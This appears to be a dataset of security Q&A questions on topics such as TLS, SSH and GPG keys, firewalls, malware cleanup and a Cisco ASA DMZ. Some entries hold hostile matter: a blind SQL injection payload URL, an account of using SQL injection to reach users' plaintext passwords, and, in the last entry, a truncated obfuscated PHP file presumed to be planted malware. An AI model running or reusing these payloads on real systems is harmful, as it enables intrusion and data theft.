instruction stringlengths 24 29.9k |
|---|
An attacker could host a specially crafted website that is designed to exploit this vulnerability through Internet Explorer and then convince a user to view the website.
This here being remote code execution vulnerability. Would somebody be kind enough to throw some light on this issue. I've never worked in the field of Information Security, so its a bit difficult for me to understand.
As Albert Einstein once said:“If you can't explain it to a six year old, you don't understand it yourself.” . Kindly explain it in that manner.
|
Are the attacks being performed using burpsuite detectable? If yes, how should we stay anonymous/secure while conducting web application reconnaissance?
|
I am new to Security testing and I am working on a 64-bit ARM server.
We are using ARM TrustZone technology.
Is it possible for me to check if I am in the Secure world or the Normal world?
How do I test the above scenario?
As a tester assuming I am in Normal world can you give some inputs to access application running in Secure world?
|
Although reluctant to use my laptop on unsecured networks, I at least know that without me launching any processes or logging into certain web pages, that I will not be sending any credentials over the unsecured network.
For phones and tablets processes can run in the background without users knowledge (unless they kill them knowingly). Additionally there is no way to know how whether these applications have any extra security when sending their credentials over the network.
As an example, on my ipad, is there any way of knowing what applications are sending information using credentials, and whether they are sending this information unsecured? Or would the best way to find out be to use something like wireshark to investigate this manually?
|
OpenBSD provides a list of substantial protections against exploits inherent to the OS. Most of these features are not found in other operating systems, or at least are not turned on by default. The list from the OpenBSD website linked above includes:
strlcpy() and strlcat()
Memory protection purify
W^X
.rodata segment
Guard pages
Randomized malloc()
Randomized mmap()
atexit() and stdio protection
Privilege separation
Privilege revocation
Chroot jailing
New uids
ProPolice
... and others
Do any of the security protections in OpenBSD mitigate the data-exposure from the Heartbleed attack?
In other words, would an Apache/nginx https server using OpenSSL have been any less vulnerable to the Heartbleed attack because it was being run on OpenBSD?
|
Are the DSA keys breakable? If so, what is the maximum key size that is breakable with the latest technology ?
Why are DSA keys not used during authentication?
Can we use DSA keys for encryption?
|
I recently came across a computer that was infected with a lpcloudsvr302 and a bk-coretag.js Virus. I did some research about the two Viruses and realized that their is no reliable source that helps users to remove the Viruses. Most of the website's I have come across basically tell users to download Software (A) then download Software (B)..etc.
So if someone can explain how to combat and prevent a lpcloudsvr302 and bk-coretag.js Virus, than that would be greatly appreciated.
|
I am currently working on my bachelor thesis regarding cloud security and found this neat article describing the "Notorious nine" written by the CSA:
The notoruios nine
I am looking to try out some form of the most basic attack possible on a fairly insecure database that I my self am creating, both to have something do demonstrate, and to understand the issue better.
So my question is, are there any articles or videos similar to a tutorial for this? Maybe encrypting and decrypting information, or just how to access a websites database (In my case I just store user information, one site+db that stores encrypted, and one site+db that stores normal)
If you think this is too complicated for a beginner, then do you have any other suggestion of a small demonstration of attack/defense I could try that would be more beginner-friendly. Only requirement is that it effects a cloud-service in some way or form.
|
For instance if the email system uses POP3 legacy protocol and SMTP but is not encrypted, yet the business continues to use it for daily purposes both internally and externally, what could be the potential security risks for the organisation regarding this matter?
|
So confuse right now between SSLv3 and TLSv1.2, I tried to find some answer on the Web but didn't seems figure it out so I am asking you guys.
Is using the latest release of OpenSSL make me creating TLS certificate ? If yes, how can I verify this ? Is it possible to look into the certificate to find in wich version it was signed ?
Thanks
|
Does anyone have any solid recommendations for deploying and maintaining security awareness training? I am not looking for a specific vendor but I am trying to gain insight about how the material is actually presented and how to test people on what they have learned.
We are a distributed company of 350 so hands on training probably won't work out.
|
Suppose I want to set up a server as a test, and I want it exposed to the Internet, giving any IP access. It could be for any reason or no reason.
I don't want it to be at risk of a buffer overflow and the execution of arbitrary code on my machine.
nc -l is fine. the server needn't do anything. It might be done within cygwin.
How safe is that?
And if it's not safe, is there something safer?
|
The default format in which SSH private keys are stored is notably fairly insecure against bruteforce attacks. This question provides a very nice solution to the problem by encrypting SSH private keys in the PKCS#8 format with 1m rounds of PBKDF2 to make computing passwords really expensive, computationally speaking.
How are PGP/GPG private keys stored? Are they computationally cheap to brute-force or do they fare a bit better than the default format used by OpenSSH? If they're cheap to brute-force, are there ways of improving the security on them?
|
I notice that encfs fails to mount a filesystem when a wrong password is entered.
However, this capability of detecting whether a password is right or wrong can allow brute-force attacks to be carried.
Is there a way to disable password checking in encfs?
I realize this will have some drawbacks such as silent failures when a genuine user enters a wrong password. However, this could be mitigated by the user by a custom script. For example, a script that mounts encfs and then does a cat mountPoint/welcomeMessage.txt. The user would know from the output whether mounting was successful or not. This I believe is much safer because brute-force attacks are not possible without prior-knowledge of the contents of welcomeMessage.txt.
If it is not possible to disable password checking in encfs, is it a vulnerability?
|
I am starting to see a majority of services, websites, and social networks offering the 2-step Authentication like crazy now to protect their users. Also, after reading how the Twitter Account N was hacked, 2-Step Authentication to protect our accounts online seems like a requirement more and more.
There is even a website to help see which services uses it and doesn't use it at Two Factor Auth (2FA).
I have had several major hacking attempts all over my social networking profiles, and own personal websites which I administrate and help run.
I also feel like we have to use it, or else we will have our banking accounts accessed and comprised.
With my last month experiences, I had 107 loggin attempts text messaged to me from my PayPal and Facebook account. They all failed, but if it wasn't for the login code texted to my phone, I would of had money taken out of my account.
Are we now forced to use 2-Step Authentication to keep our accounts and assets secure now? Should we make this a web standard to make sure people are secure to just visit our websites and services?
|
Is it possible to know if there are URL redirections (to malicious websites) by retrieving the HTTP request and response headers of the legitimate website ?
|
I have scanned my website using Nessus. But I need to scan it as a logged in user since most of the URLs are accessible only if we are logged in. How can I set website login credentials in Nessus?
|
After scanning my website with uniscan I found a few vulnerabilities. I found this answer here and tried but it does not return anything except what it should return.
Blind SQL Injection:
[+] Vul [Blind SQL-i]: http:/192.168.1.100/browse.html?user_id=10590'+AND+'1'='1
[+] Keyword: Compassion
How to use the keyword in order to inject successfully?
|
So I decided to purchase a service in website which only accepts payments where I need to enter my debit card information. Now connection is secured with TLS 1.0, so no 3rd party can observe my payment data, but what about website itself?
Edit: I need to enter Card Type, Card Number, CCV number, Expiration date, etc., all the regular stuff when purchasing using credit/debit card without using 3rd parties like Paypal.
Can it see my debit card number and if yes, then it can collect it and store that information?
|
Assuming a firewall is properly setup, only allowing determined traffic and dropping everything else, what relevant information (if any) could I get from the log of the accepted rules?
From the dropped packets log I can identify non-legitimate traffic, but don't know whether is there any use of the accepted packets log.
|
While scanning my website with uniscan it found my robots.txt file which disallows access to /cgi-bin/ and other directories, but they are not accessible in browser. Is there a way to access the directories or files which are Disallowed?
|
I saw many posts here on this site dishing out advice on disabling HTTP TRACE method to prevent cross site tracing. I sought to do the same thing. But when I read the Apache documentation, it gives the opposite advice:
Note
Despite claims to the contrary, TRACE is not a security vulnerability
and there is no viable reason for it to be disabled. Doing so
necessarily makes your server non-compliant.
Which should I follow?
|
Two peers already exchanged their ECDSA (curve secp256k1) public keys using a secure channel.
They want to establish an authenticated encrypted channel between them. They will use CCM mode and with the AES block cypher (as implemented in the SJCL crypto library).
Is it safe for them to use as a key for CCM the output of PBKDF2(iter=1000) of the other peer's pubkey? Is there a better solution without exchanging more data off channel?
(public keys are 33 bytes long).
EDITED:
These pubkeys are not public, only shared between the two peers.
|
I have a UDP client application that is long-lived: Ideally, it keeps streaming to a server forever. I'm using Datagram Transport Layer Security (DTLS) to secure the UDP communication.
How often does DTLS refresh the session keys established during handshake that are used to secure the record layer communication?
Is re-handshake required to refresh the keys? Can this be done using another method?
|
Following the weekend announcement from Microsoft regarding the vulnerability in IE I have been looking at additional security defences for our endpoints. I've read some technical documentation and articles on the implementation of Microsoft's Enhanced Mitigation Toolkit. The product functionality looks like it could be a good addition to our existing defences (if configured and tested properly) but my only reservation is that there is no central management tool for the product. It'd be ideal to have a central console where I can see devices with the product installed and view reports where potential attacks have taken place.
Does anyone use a similar product within their environment? If so, which products?
Thanks in advance.
|
What are the technical disadvantages with WPA2?
|
I have some untrusted software. I plan to run them on a guest Windows 7 on my host Windows 8 OS using Oracle VirtualBox. In the worst case, will only my guest OS be affected? Can the hacker access information from my main OS? I don't expect the developers of this software to be skilled enough to do a "Virtual machine escape"
|
I like to store some configuration but would encrypt them with the Serpent cipher.
Is it safe to do this? When not, what is a better solution?
|
I am reading Cybersecurity and Cyberwar by P.W. Singer, and trying to tie the subject in with a government class project. I am looking laws and policies regarding cyberspace or cyber security, passed within last 15 years. Any recommendations? thanks
|
today i boot my PC when i got home & a russian website about games & naked chicks openen up instantly during general boot of the desktop. I thought "WTF", shut down my PC and restarted it.
Now i must say my dad uses this PC aswell (since my parents are all like "we don't care if you paid for it, if it's in our house it's ours) and to say the least he'd click on every tit pic he sees on the internet... + he uses it for banking stuff and all that too o_O sigh
How can i check if there's a virus? And where it is? I've checked tasklist & the current running processes, compared PIDs but nothing jumps out as if i've been keylogged or sthing, so i guess it's just a small virus/pop up thingy. And last of all how can i get rid of it?
Thanks in advance
|
As noted elsewhere, SSH private keys can be reencrypted (in different formats) with more rounds of iteration in the password-derivation function.
Is there a way to do something similar for an already extant GPG private key? Can I simply modify it to require more rounds of password derivation to make it harder to bruteforce?
|
Is there a cable that physically only supports data flow in one direction (out)? The idea here is to put this on a system that can only export data so that there is very minimal risk of the transmitting system 'getting' attacked (assuming there are no other attack vectors).
|
There are kind of two questions here:
Is it possible to have XSS in a PDF file when the Content-Disposition: is "inline"?
If it is possible, does the pdf get access to the cookies for that domain the same as if it were a normal html file?
If this is only possible with certain specific pdf file readers and/or browsers, that would be great to know.
|
I have a server running rstudio. This is basically a web application, and it is currently only accessible over the local network.
The web app takes your Linux username/password in order to log you in, and according to the docs "User credentials are encrypted using RSA as they travel over the network." (https://www.rstudio.com/ide/docs/server/getting_started)
Lets say I wanted to open the port to external requests, so that I could use this web app anywhere. What would be the security risk assuming I didn't use https?
|
We have a confidential portal for clients. Historically they have been identified face to face in person and handed a unique token number that is associated with their email address and allows them initial access into their account. Once accessed they can set up their own user name and password. I want to be able to issue this token number without a face to face encounter but I am concerned about what steps I need to take to verify identity. I'm uncomfortable taking the initial information and giving out the token number in the same call. I could mail the token number but customers want quicker access. Can I email the token number with reasonable safety? Use SMS?
|
I plan to write a PHP script which will allow web users to upload MS Word formatted docs. Here are the precautions I am taking:
Filenames will be created by me (something like YYYY-MM-DD.doc)
Files will have 600 or lower permissions.
Files will not be touched until they're downloaded via FTP.
File size is limited.
I've been looking into ways to verify that a file is a valid word doc, but the strategies all seem flawed and very time consuming. Once they are downloaded to a computer for review, I let the computer's antivirus take over in case of a valid word doc that is somehow infected.
Does placing the files in a sort of quarantine, as outlined above, mitigate the dangers of not verifying that its word formatted?
|
This is a very newbie IT security question...
I have to quickly implement a solution for our application that works like this... We have a binary executable that is given a configuration file. I need to encrypt the configuration file such that a non-trusted user can be given the binary and the encrypted config file (and maybe a public key or something) and he should be able to run the binary with the encrypted file.
Could you suggest a cryptography paradigm &/or c++ crypto library that will allow me to do the above? I was thinking of encrypting the config files with a static blowfish key which is hard-coded into the binary as an urgent fix which will raise the bar ever so slightly based on advice I got from the crypto stack exchange.
What would be a good design in the long run? I'm looking towards protecting from the following problems :-
Casual reading of the xml configuration/input files
Easy disassembling and reverse engineering of the binary / extraction of the secret key by searching through the text or data section
some other attack vectors that you can think of just so that I know?
Note :- Question reposted from crypto stack exchange since this is probably a better place to ask it.
|
In our application, a user selects answers to questions. Their score is based on the time spent answering each question down to a tenth of a second. The server is responsible for calculating and storing the score, but it obviously cannot record the exact time spent itsself due to latency.
Somehow, the mobile app will have to send the server the time it took for them to answer the question according to it's own clock. How do I verify that the value in that API call is not being forged?
I figure that at the very least, we can have a string that is hardcoded into both applications that will encrypt/decrypt the timestamps (is AES good for this?) but this is not 100% secure as someone could manage to get that string through decompilation or whatever.
After that, I reckon we could measure the latency in a test request when we first communicate with the mobile app. Then we can ensure the times being sent are within a reasonable window based on that latency. To me this seems kind of finicky and inaccurate. It would be tough to decide on what the window would be since the values are so small. For example, if it took "5s" to answer a question with ~200ms latency, is the window 6? 7? 10? If the window is too large, forgery would still be worth it. Too small and you might screw over legit users who just had a second of lag or whatever.
Is there any robust solution? Would the encryption/decryption be "safe enough"?
|
CVE-2013-4310 indicates the action prefix (action:) feature of struts2 framework is vulnerable. Hence the vendor released the patch(?) by disabling this feature. However, there is an option to enable this feature back.
Question:
What are the security implications on the same (enabling this feature back). Is there any other measures that can be taken to mitigate the risks exposed by this vulnerability?
The action prefix feature is to navigate to different actions based on the button the user chooses to click. Now what are the alternatives to the same? One option is to have a javascript that handles the onclick and change the form's action but here the URL in the browser will be changed. Is there any other elegant option available?
Thanks
|
My brother gets malware infections practically every week. Apparently he had a infection over the past 24 hours, I only noticed it because I checked the router logs and saw a massive amount of network traffic on his MAC address.
How can I limit the damage on the network when this happens? I try to educate him but nothing ever sticks. I even set up auto updates, EMET, antivirus, OpenDNS familyshield and a few other things but he always manages to get infected. I usually just MAC block him or egress the bandwidth to 1kbps when I see a ton of traffic until I can physically check the computer.
|
So the story goes like this..
I recently rediscovered an old website i used to go on quite often but i couldn't remember my login. The site is poorly made and hasn't been updated in about 5 years, so i tried a simple SQL-Injection to gain access to my old account and lo and behold, i was in. The problem is that i (and anyone else with a bit of SQL knowledge) have access to ~2000 users:
Email
Password (Plain/text)
Full Name
Date of Birth
Private Messages
So i did the right thing, I sent an email to the owner of the site. It's been over a month and no response or changes to the site.
My question being:
What should i do in this position? Should i try to take down the site in a "not so legal" way? i doubt the owner will do anything about it. It's an old site with not more than 10-40 people online at one given time but a lot of people reuse emails and passwords so i bet that a lot of them could work on other more important accounts.
|
I would like to understand below SIP DoS attacks
Message Payload Tampering [implementation errors, SIP bugs]
Flow Tampering [CPU, Bandwidth, Memory]
Message Flooding [lack of authentication or encryption implementation / errors]
On the other hand, I came across with five different attacks on Register, Invite, Update, Cancel, and Bye. My question is on those five attacks: which of the above three DoS attacks can they be classified as?
|
We are trying to decide on which RSA key format our application should use. The ideal format would be widely used and supported in most of the popular platforms/frameworks. This would make it easy for 3rd parties to integrate with our system. So which one of the RSA key formats is closest to that?
|
I have ASA5505 , connected to the WAN on port 0 (called Vlan2), and connected to my development LAN on port 7 (Called Vlan1).
I want to add DMZ, and I connected switch and servers to port 3, and called it Vlan3.
this is my settings:
interface Vlan1
nameif inside
security-level 100
ip address x.x.1.1 255.255.255.0
!
interface Vlan2
nameif outside
security-level 0
ip address x.x.3.1 255.255.255.240
!
interface Vlan3
no forward interface Vlan1
nameif dmz
security-level 51
ip address x.x.2.1 255.255.255.0
!
interface Ethernet0/0
switchport access vlan 2
!
interface Ethernet0/3
switchport access vlan 3
!
also, I added DYNAMIC NAT rule to the DMZ interface , and STATIC POLICY NAT rule so all the HTTP and HTTPS connections to the x.x.3.3 (the Blog external IP address) will forward to x.x.2.3 (Blog internal IP).
I can connect to the web site outside the world, but i cannot connect to it from my LAN (Vlan1) - ping or ssh to x.x.3.3 is not available, and also ping or ssh to the Vlan3 interface x.x.3.1 (the ASA ip on Vlan3).
IPs:
x.x.1.1 = Vlan1 ASA ip
x.x.1.x/24 = Vlan1 - Development LAN
x.x.2.1 = Vlan2 ASA ip
x.x.2.3 = Blog external IP
x.x.3.1 = Vlan3 ASA ip
x.x.3.3 = Blog Internal ip
I need to be able to ping from x.x.1.x to x.x.3.x (From my Vlan1 development LAN to the Vlan3 DMZ LAN)
Version and Lic:
ciscoasa# sh ver
Cisco Adaptive Security Appliance Software Version 8.2(2)
Device Manager Version 6.3(1)
Compiled on Mon 11-Jan-10 14:19 by builders
System image file is "disk0:/asa822-k8.bin"
Config file at boot was "startup-config"
ciscoasa up 157 days 18 hours
Hardware: ASA5505, 512 MB RAM, CPU Geode 500 MHz
Internal ATA Compact Flash, 128MB
BIOS Flash Firmware Hub @ 0xffe00000, 1024KB
Encryption hardware device : Cisco ASA-5505 on-board accelerator (revision 0x0)
Boot microcode : CN1000-MC-BOOT-2.00
SSL/IKE microcode: CNLite-MC-SSLm-PLUS-2.03
IPSec microcode : CNlite-MC-IPSECm-MAIN-2.04
0: Int: Internal-Data0/0 : address is d0d0.fd22.622c, irq 11
1: Ext: Ethernet0/0 : address is d0d0.fd22.6224, irq 255
2: Ext: Ethernet0/1 : address is d0d0.fd22.6225, irq 255
3: Ext: Ethernet0/2 : address is d0d0.fd22.6226, irq 255
4: Ext: Ethernet0/3 : address is d0d0.fd22.6227, irq 255
5: Ext: Ethernet0/4 : address is d0d0.fd22.6228, irq 255
6: Ext: Ethernet0/5 : address is d0d0.fd22.6229, irq 255
7: Ext: Ethernet0/6 : address is d0d0.fd22.622a, irq 255
8: Ext: Ethernet0/7 : address is d0d0.fd22.622b, irq 255
9: Int: Internal-Data0/1 : address is 0000.0003.0002, irq 255
10: Int: Not used : irq 255
11: Int: Not used : irq 255
Licensed features for this platform:
Maximum Physical Interfaces : 8
VLANs : 3, DMZ Restricted
Inside Hosts : Unlimited
Failover : Disabled
VPN-DES : Enabled
VPN-3DES-AES : Enabled
SSL VPN Peers : 2
Total VPN Peers : 10
Dual ISPs : Disabled
VLAN Trunk Ports : 0
Shared License : Disabled
AnyConnect for Mobile : Disabled
AnyConnect for Cisco VPN Phone : Disabled
AnyConnect Essentials : Disabled
Advanced Endpoint Assessment : Disabled
UC Phone Proxy Sessions : 2
Total UC Proxy Sessions : 2
Botnet Traffic Filter : Disabled
This platform has a Base license.
The NAT rules:
access-list dmz_nat_static line 1 extended permit ip host x.x.3.3 any
static (dmz,outside) x.x.2.3 access-list dmz_nat_static tcp 0 0 udp 0
nat (dmz) 1 x.x.3.0 255.255.255.0 tcp 0 0 udp 0
I can see it is DMZ restricted, but can I build "DMZ-like" solution with the 3 Vlans I have in my license?
Thanks.
|
I have a website that has certain menu items that need to be hidden from end users.
The web site has PHP in the front-end and Java and Spring in the back-end, deployed on a Linux OS in a VM infrastructure, although the full technology stack isn't fully understood as it's a legacy system and not fully documented.
I need to secure the site and functions based on access controls - users mapped to groups and groups having access to different menu items (functions). I also have to provide an interface for admins to change the functions-to-group mapping. I also require fine control over the level of different read/write method access.
I understand I need ACL. What is best practice design for such a requirement?
Options and questions:
DB - negative issues would be: old style and creating my own identity management function with all its drawbacks and complexities.
LDAP - negative issues: again my own identity management system, but probably simpler than DB, but I'm not sure how function level mapping to groups works. Do LDAP providers provide mapping of groups to particular functions (i.e. given a menu item "accounts" - I only want Finance to be able to see accounts menu)
OpenAM and similar solutions externalizing Identity Management – can that work? I've been reading about this – authentication I understand but authorization to fine grain level I don’t. It seems like you need an LDAP product configured as a data source, so what does OpenAM provide over option 2 above because it would be the same? With OpenAM it looks like I configure an identity service but I get to secure at container level – so webserver and app server but it gives its own login page. I assume it's possible to configure that to access stylesheets so that it integrates with the current login page – but has anyone done that on any of these type of products to be sure it's possible? Also, does this my ACL requirements? Is this the best design and how much more complicated is it to setup compared to LDAP and app configurations?
Further questions:
Is the LDAP solution best advised?
Do you have any suggestions on open source products for Apache LDAP? Are any good/easily managed? Any interfaces possible for manipulation of functions to groups? - Does LDAP allow mapping to a fine grain level of functions/ methods to groups or is that something that is done in application? This part in particular is confusing. If anyone can offer a good resource on this, that would be good.
|
The best practice is we should hash a user password using algorithms such as bcrpyt to protect the user, however, given the following conditions, is hashing in the backend still matters?
the password is randomly generated by backend with enough security factors
user will not be able to change it
Since the password is randomly generated by us, user will not be using the same password on other services like ebanking, so hashing the password really add security?
|
I know that misuse cases are use cases which help identify security requirements as they highlight the user's goal in misusing the system, but what exactly is abuse cases and what is the difference or these very similar to each other?
|
I've installed ubuntu server 12.04 on VM two weeks ago.
I've created regular snapshots.
XXX time ago I've noticed unusual activity and I've found that a backdoor was installed into my server.
One of backdoored files was sshd. Ive then analysed the logs and found the host which connected to my server in the first place (using my account password). The same method I've extracted from backdoored sshd worked for accessing the root account of attacking host. I've found significant amount of infected hosts (analysing attacking host's logs). And I've compared the running software. I believe I've isolated the daemon that is vulnerable.
In normal situations I would just format the VM and create a new one (I was using it just for development) but it had the latest stable ubuntu 12.04 linux. (14.04 was released days after I've created the VM) However this seems like a serios vulnerability by the number of infected hosts (and some other sensitive data) and by the fact that my server was running the latest version with all security updates and it still got hacked.
And to get to the question - What should I do next?
(I've got all the snapshots (before infection, after that), access to a lot of infected machines, and an infected server VM part of some kind of botnet that scans and infects other hosts, and some knowledge what other activites it does)
PS: Its not heartbleed as my server's openssl version is :
OpenSSL 1.0.1 14 Mar 2012
built on: Mon Apr 7 20:33:29 UTC 2014
And the service I believe is vulnerable has no known vulnerabilities.
PPS: How can I check if this is known exploit?
|
Whenever an unhandled exception makes it into production somehow - whatever the reason - there's generally an option (especially with .NET programs) to print out a stack trace to the end user before the program ends completely. Even though this helps with debugging the program, if the user sends a copy of the stack trace in a bug report, it is definitely a security concern. You don't want them being able to see your code like that - not without them going through a lot of extra hassle.
But what if the text of the stack trace were encrypted before being printed to the screen? Would this be something which is safe, viable, etc.? Or would it still be something particularly worth avoiding?
NOTE
I'm aware of decompilation and the issues that produces. There are obfuscators though, and even though they're pretty much anything but perfect, they are better than no protection at all. It has been said that locks are for honest people, but everybody still uses them.
|
I'm not getting the exact main point of 2-DES and 3-DES. I would like to know the difference between the two; why 3-DES is chosen over 2-DES?
|
I am currently working on a file encryption program using Java Cryptography Architecture.
My plan is to have a number of encrypted files where each file has a different AES key.
To keep track of the encrypted files I also include a metadata file which stores an entry for each encrypted file with the following values: plain text file name, cipher file name and AES Key.
The metadata file is then encrypted using an AES key that is derived from the user's password.
My question is should I implement a mode? and do you think keeping all the passwords in the encrypted metadata is acceptable practice?
Here is the code I have been referring to:
public class PasswordBasedEncryption {
PBEKeySpec pbeKeySpec;
PBEParameterSpec pbeParamSpec;
SecretKeyFactory keyFac;
// Salt
byte[] salt = {
(byte)0xc7, (byte)0x73, (byte)0x21, (byte)0x8c,
(byte)0x7e, (byte)0xc8, (byte)0xee, (byte)0x99
};
// Iteration count
int count = 65536;
int keySize = 128;
Cipher pbeCipher;
SecretKey pbeKey;
FileInputStream fis;
FileOutputStream fos;
/**
* constructor given a master password
* Use password based derivation function II to make AES key.
* used only for the metadata file encryption
* @param password
*/
public PasswordBasedEncryption(char[] password){
try{
keyFac = SecretKeyFactory.getInstance("PBKDF2WithHmacSHA1");
pbeKeySpec = new PBEKeySpec(password, salt, count, keySize);
SecretKey tempKey = keyFac.generateSecret(pbeKeySpec);
pbeKey = new SecretKeySpec(tempKey.getEncoded(), "AES");
pbeCipher = Cipher.getInstance("AES");
}
catch (Exception e){e.printStackTrace();}
}
/**
* constructor given a generated AES key
* each file has its own AES key to avoid known text attacks
* @param key
*/
public PasswordBasedEncryption(SecretKey key){
try{
pbeKey = key;
}
catch (Exception e){e.printStackTrace();}
}
public void encrypt(String filePath, String cipherName){
try{
File clearFile = new File(filePath);
fis = new FileInputStream(clearFile);
pbeCipher = Cipher.getInstance("AES");
pbeCipher.init(Cipher.ENCRYPT_MODE, pbeKey);
CipherInputStream cis = new CipherInputStream(fis, pbeCipher);
File cipherFile = new File(Path.TEMP + cipherName);
fos = new FileOutputStream(cipherFile);
int read;
while((read = cis.read())!=-1)
{
fos.write((char)read);
fos.flush();
}
cis.close();
fos.close();
fis.close();
}
catch(Exception e ){e.printStackTrace();}
}
public void decrypt(String cipherName, String filePath){
try{
fis = new FileInputStream(Path.TEMP + cipherName);
File clearFile = new File(filePath);
fos = new FileOutputStream(clearFile);
pbeCipher = Cipher.getInstance("AES");
pbeCipher.init(Cipher.DECRYPT_MODE, pbeKey);
CipherOutputStream cos = new CipherOutputStream(fos, pbeCipher);
int read;
while((read = fis.read())!=-1)
{
cos.write(read);
cos.flush();
}
cos.close();
fis.close();
fos.close();
}
catch(Exception e ){e.printStackTrace();}
}
/**
* Generate secret password used each time a new file needs encrypting
* @return
*/
public static SecretKey genPass(){
KeyGenerator keyGen;
try {
keyGen = KeyGenerator.getInstance("AES");
keyGen.init(128);
return keyGen.generateKey();
} catch (NoSuchAlgorithmException e) {
e.printStackTrace();
return null;
}
}
}
|
How malware nowadays spreads? For example, I have a Windows computer infected with some kind of malware (someone ran malicious executable on the computer when nobody was looking at it) and it can spread to other computers in, for example, local network. I think spreading by USB isn't the right or actual way nowadays.
|
My (not so small) bank has a website for doing transactions over the internet, and it has an HTTPS website for it. But my Firefox 29 wrote that the website is just partially encrypted. I did a little search with Wireshark and found out that there is only one element using HTTP (and not HTTPS):
<script type="text/javascript" src="/static/portal/impl/j/jwplayer.js" charset="utf-8">
and this .js file uses/downloads via HTTP (I can see it in the about:cache):
http://l.longtailvideo.com/download/5/10/logo.png
So if I want to log into my bank's website to send money to someone, I have to use a website that is only partially encrypted because of that .png file.
My question: Isn't this dangerous? If there is an element on the HTTPS website that is downloaded via HTTP, then it's possible to do "bad things", no? For example, can someone on my LAN replace that .png file with a javascript or some other malicious stuff?
|
I am making a presentation to the class about "SSL 2.0 deprecated protocol" and I really have no idea how this exploit is used or how the attacker can use this vul. I understand the impact of this vul, but I need a complete explanation on how it works out and the steps that an attacker would approach to conduct man-in-the-middle attacks or decrypt communications between the affected service and clients. Please explain the process that an attacker can use in a specific explanation if possible.
|
I work for a company from home online, using my own laptop. To work, I have to login to their network through a web browser, Google Chrome. The URL begins with: https:// . I use a User ID and password. I log off whenever I go on break or when I finish a shift. Since it's my own personal laptop, not company-issued, do they have the technical means to monitor other websites I may be on when working or even when not working? Do they also have the ability to turn on the laptop camera and audio without my knowing, and possibly even record?
|
Two days ago a file called "images.php" appeared on a friend's server, which he noticed because it caused errors. The file contained the following. This code is of unknown origin and presumed to be malware so DON'T RUN IT.
<?php for($o=0,$e='&\'()*+,-.:]^_`{|,,,|-((.(*,|)`)&(_(*,+)`(-(,+_(-(.(:(](^(_(`({)]+`+{+|,&-^-_(^)](](^(_(^(:(`(,-_(.-_(](:(,+_(-+_(--_(`(.(.+`+_(-(:(.(,+_(--^(.-_(:+{(]+{(:(:(^(`(,(,(,(.(:(:(:+{(,(_(:(_+_(-)](](,(:-_(,,&(_,&+_(-(`(:(.(,(.(.+_(-(.+`(,-_(.(`(](.(_-^(,)](:({(,(,(_(](.(](.-^(,(,(`(,(](:(.({(]-^+_(-(^+_(-(^(.(](,+`(`,&(:+{(.-^(_-_(`-_(]-^+_(-+{(:-^+_(--^(,(_(:(](,(_(`)](:,&(.(,+_(-+{+_(-+|(:(^(,(^(.+{+_(-({(,(^(^(,(_+_(-(_)](.(.(.(](,+_(-(,,&(^(`(`(^(]-^(,(.(,(.(:-_+_(-(^(_)](.(.(.(](,+_(-(,,&(:(^(,(^(.+{+_(-({(,(^(^(,(_+_(-(_)](:(^(.-^(,(_(_(](]+|(`(`(.(.+_(--^(,(.(:+{+_(-+`(`+_(-(:(`(:-_(,,&(,-_(.+{(,+_(-(:)](`+_(-(.+{(_+_(-(_+`+_(-)]+_(-(_(,(.(:(`(`)]+_(-,&(:+`+_(--^(.(.(`(_(,-^(:(`(](]+_(-,&+_(-)](^({(:-_+_(--_(:,&(,)](:-^(:-_(,(](.+{+_(-(_(,+`(:(](:(_(:(,(,-_(`+{(]-^(.(`(`-_+_(-(,(,(^(^-^+_(-(`(,+`(:(_(:+|+_(-({(`+{(],&(,(.(,(.(:-_+_(-(^+_(-)](](:(](^(_(:(`)](^-_(_(:(^+`(_+`(`+_(-(](^(_+_(-(^+{(^+{(^(,+_(-(.(:,&(,(:(:(_(](.(_(:(_,&+_(-(_(]-_+_(-)](^,&(,({(:+`(:+|(,)](:({(]+`(.(:(:(,(]+{(:(.(^(:(^(.(,({(:(:(:(`(]+`(:(_+_(-(.(.-_(:(^(_+_(-(.+_(-(^(:+_(-(](,(.(:+|(:+|(](.(`(](,(.(.+{(.(^(:(](:(^(^(`(,+_(-+_(-({(.(_(:+_(-+_(-({(.(_(],&(_(_+_(-(_(,,&(:(,(^({+_(-+_(-+_(--_(:+{(:(_(,(](,+|(,-_(:(.(:-_+_(-({(:+_(-(](^(^+`(]+|(.(.(:({+_(-)](.(,+_(--^(.(.(.(]+_(--^(_(.+_(--_(^+{(^(,(^({(:,&(,-_(:(^(,(:(.(](:(:(](:(_(.(^-^+_(-(:+_(-({(,,&(.+`+_(-(:(.(,+_(--^(.-_(:+{(]+|(_)](`(_+_(-(]+_(--^(:+|(:+`+_(--^(:+`(,(^(.(](,)](,-^(:,&(^-_(,+_(-+_(--_(.+_(-(`+_(-(],&(.(,+_(-(:(:)](.(.(,-^(.({+_(-+_(-(^+{(](.(_)](^(:(,-^(:(_(,+|(.(:(:({(,-^(_,&+_(-+_(-+_(-+`(,+`(.+_(-(,(_+_(-)](:+{(,-_(.(_(:+`(:(](.(,(]-^+_(-(`(,({(`(^(`(^(.+`(:(^+_(--_(.(](:(^+_(--_(.+|(^)]+_(-+|(:(](:(`(.+_(-(,(:(.(,+_(--^(:)](`-^(]+|(:(_(^-^+_(-(`(,(`(:-^(,(_(,-_(.+{(,-_(.)](`+_(-(](.(_+|(,,&(`({(,-_(:(`(:-_(,(:(:,&(,-_(_(.(`+_(-(,(:(.(](](^(.,&+_(-+{(:,&(.)](,-_(:,&(],&(_(_+_(-(_(,,&(:(,(^({+_(-+_(-+_(--_(:+{(:(_(,(](,+|(,-_(:(.(:-_+_(-({(:+_(-(](^(^+`(]+|(.(.(:(_+_(-+`(:(_(,(](_,&(`-_(](.(`-^(:+|+_(-(_(,-^(:(](:(,(,(](:(_(](.(_,&(:-^(,+`(:(_(_)](,(.+_(-)](:,&(:+`(:(^(:+|+_(-+`(.-_(:({(]+|(_)](`(_+_(-(]+_(--^(:+|(:+`+_(--^(:+`(,(^(.(](,)](,-^(:,&(^-_(,+_(-+_(--_(.+_(-(`+_(-(],&(.(:+_(-({(.(^(:(^(:(](.+`(](_+_(-(`(,(^(`(^(`(,(](:(_({(_(,(.-^(:(:(,,&(.+|(^({+_(-(`(](:(`(^(:+_(-(,+{(.(,(:(^(.-_(.-^(,-^(.(_+_(-+_(-(^-^(.+{(:(](.+|(,(](:(,+_(--^(.(:(:)](,(^+_(-+`(^(:(,+`(,(.(.+_(-(.,&+_(-)](`+{(],&(.-_(.-^(,-^(.(_+_(-+_(-(^+{(](.(_)](^(:(,-^(:(